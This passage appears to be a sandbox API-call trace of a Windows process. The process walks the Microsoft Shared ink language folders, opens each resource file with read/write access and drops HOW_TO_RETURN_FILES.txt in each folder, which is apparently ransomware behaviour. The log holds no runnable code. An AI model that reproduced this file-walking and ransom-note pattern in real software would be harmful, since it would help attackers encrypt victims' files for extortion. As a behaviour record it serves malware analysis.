lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="IPSEventLogMsg.dll.muixe.mui", lpUsedDefaultChar=0x37dec0) returned 22 [0094.808] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.808] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.809] AreFileApisANSI () returned 1 [0094.809] GetACP () returned 0x4e4 [0094.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IpsMigrationPlugin.dll.mui", cchWideChar=26, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="IpsMigrationPlugin.dll.muiui", lpUsedDefaultChar=0x37dec0) returned 26 [0094.809] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.809] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.809] AreFileApisANSI () returned 1 [0094.809] GetACP () returned 0x4e4 [0094.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="join.avi", cchWideChar=8, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="join.avitionPlugin.dll.mui", lpUsedDefaultChar=0x37dec0) returned 8 [0094.809] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.809] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.809] AreFileApisANSI () returned 1 [0094.809] GetACP () returned 0x4e4 [0094.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="micaut.dll.mui", cchWideChar=14, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="micaut.dll.muiugin.dll.mui", lpUsedDefaultChar=0x37dec0) returned 14 [0094.809] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.811] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.811] AreFileApisANSI () returned 1 [0094.812] GetACP () returned 0x4e4 [0094.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mip.exe.mui", cchWideChar=11, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="mip.exe.muimui", lpUsedDefaultChar=0x37dec0) returned 11 [0094.812] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.812] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.812] AreFileApisANSI () returned 1 [0094.812] GetACP () returned 0x4e4 [0094.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshwLatin.dll.mui", cchWideChar=17, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="mshwLatin.dll.muin.dll.mui", lpUsedDefaultChar=0x37dec0) returned 17 [0094.812] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.813] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.813] AreFileApisANSI () returned 1 [0094.813] GetACP () returned 0x4e4 [0094.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtscom.dll.mui", cchWideChar=14, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="rtscom.dll.muimui", lpUsedDefaultChar=0x37dec0) returned 14 [0094.813] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.813] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.813] AreFileApisANSI () returned 1 [0094.813] GetACP () returned 0x4e4 [0094.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ShapeCollector.exe.mui", cchWideChar=22, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ShapeCollector.exe.mui.mui", lpUsedDefaultChar=0x37dec0) returned 22 [0094.813] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.813] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.813] AreFileApisANSI () returned 1 [0094.813] GetACP () returned 0x4e4 [0094.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="split.avi", cchWideChar=9, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="split.aviector.exe.mui", lpUsedDefaultChar=0x37dec0) returned 9 [0094.813] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.813] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.813] AreFileApisANSI () returned 1 [0094.813] GetACP () returned 0x4e4 [0094.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tabskb.dll.mui", cchWideChar=14, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tabskb.dll.mui.exe.mui", lpUsedDefaultChar=0x37dec0) returned 14 [0094.814] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.814] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.814] AreFileApisANSI () returned 1 [0094.814] GetACP () returned 0x4e4 [0094.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TipBand.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TipBand.dll.muiexe.mui", lpUsedDefaultChar=0x37dec0) returned 15 [0094.814] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.815] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.815] AreFileApisANSI () returned 1 [0094.815] GetACP () returned 0x4e4 [0094.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TipRes.dll.mui", cchWideChar=14, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TipRes.dll.muii", lpUsedDefaultChar=0x37dec0) returned 14 [0094.815] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.815] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.815] AreFileApisANSI () returned 1 [0094.815] GetACP () returned 0x4e4 [0094.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.mui", lpUsedDefaultChar=0x37dec0) returned 15 [0094.815] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.816] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.816] AreFileApisANSI () returned 1 [0094.816] GetACP () returned 0x4e4 [0094.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TipTsf.dll.mui", cchWideChar=14, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TipTsf.dll.muii", lpUsedDefaultChar=0x37dec0) returned 14 [0094.816] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.816] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 0 [0094.816] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0094.817] AreFileApisANSI () returned 1 [0094.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0094.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0094.817] GetFileType (hFile=0x130) returned 0x1 [0094.818] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.818] AreFileApisANSI () returned 1 [0094.818] GetACP () returned 0x4e4 [0094.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="es-ES", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="es-ES", lpUsedDefaultChar=0x37df4c) returned 5 [0094.818] AreFileApisANSI () returned 1 [0094.818] GetACP () returned 0x4e4 [0094.818] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\j\x04") returned 57 [0094.819] AreFileApisANSI () returned 1 [0094.819] GetACP () returned 0x4e4 [0094.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0094.819] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.819] AreFileApisANSI () returned 1 [0094.819] GetACP () returned 0x4e4 [0094.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0094.819] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.819] AreFileApisANSI () returned 1 [0094.819] GetACP () returned 0x4e4 [0094.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0094.819] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.819] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 0 [0094.819] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0094.819] AreFileApisANSI () returned 1 [0094.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0094.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0094.820] GetFileType (hFile=0x130) returned 0x1 [0094.821] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.821] AreFileApisANSI () returned 1 [0094.821] GetACP () returned 0x4e4 [0094.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="et-EE", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="et-EE", lpUsedDefaultChar=0x37df4c) returned 5 [0094.821] AreFileApisANSI () returned 1 [0094.821] GetACP () returned 0x4e4 [0094.821] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\j\x04") returned 57 [0094.822] AreFileApisANSI () returned 1 [0094.822] GetACP () returned 0x4e4 [0094.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0094.822] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.822] AreFileApisANSI () returned 1 [0094.822] GetACP () returned 0x4e4 [0094.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0094.822] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.822] AreFileApisANSI () returned 1 [0094.822] GetACP () returned 0x4e4 [0094.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0094.822] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.822] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 0 [0094.822] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0094.822] AreFileApisANSI () returned 1 [0094.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0094.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0094.823] GetFileType (hFile=0x130) returned 0x1 [0094.824] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.824] AreFileApisANSI () returned 1 [0094.824] GetACP () returned 0x4e4 [0094.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="fi-FI", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="fi-FI", lpUsedDefaultChar=0x37df4c) returned 5 [0094.824] AreFileApisANSI () returned 1 [0094.824] GetACP () returned 0x4e4 [0094.824] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\j\x04") returned 57 [0094.825] AreFileApisANSI () returned 1 [0094.825] GetACP () returned 0x4e4 [0094.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0094.825] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.825] AreFileApisANSI () returned 1 [0094.825] GetACP () returned 0x4e4 [0094.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0094.825] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.825] AreFileApisANSI () returned 1 [0094.825] GetACP () returned 0x4e4 [0094.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0094.825] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.826] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 0 [0094.826] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0094.826] AreFileApisANSI () returned 1 [0094.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0094.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0094.826] GetFileType (hFile=0x130) returned 0x1 [0094.827] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.827] AreFileApisANSI () returned 1 [0094.827] GetACP () returned 0x4e4 [0094.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlickAnimation.avi", cchWideChar=18, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FlickAnimation.avie", lpUsedDefaultChar=0x37df4c) returned 18 [0094.827] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.827] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.827] AreFileApisANSI () returned 1 [0094.828] GetACP () returned 0x4e4 [0094.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlickLearningWizard.exe", cchWideChar=23, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FlickLearningWizard.exered\\Help\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 23 [0094.828] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.828] AreFileApisANSI () returned 1 [0094.828] GetACP () returned 0x4e4 [0094.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="fr-FR", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="fr-FRLearningWizard.exe", lpUsedDefaultChar=0x37df4c) returned 5 [0094.828] AreFileApisANSI () returned 1 [0094.828] GetACP () returned 0x4e4 [0094.828] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\") returned 57 [0094.828] AreFileApisANSI () returned 1 [0094.828] GetACP () returned 0x4e4 [0094.828] WideCharToMultiByte (in: CodePage=0x4e4, 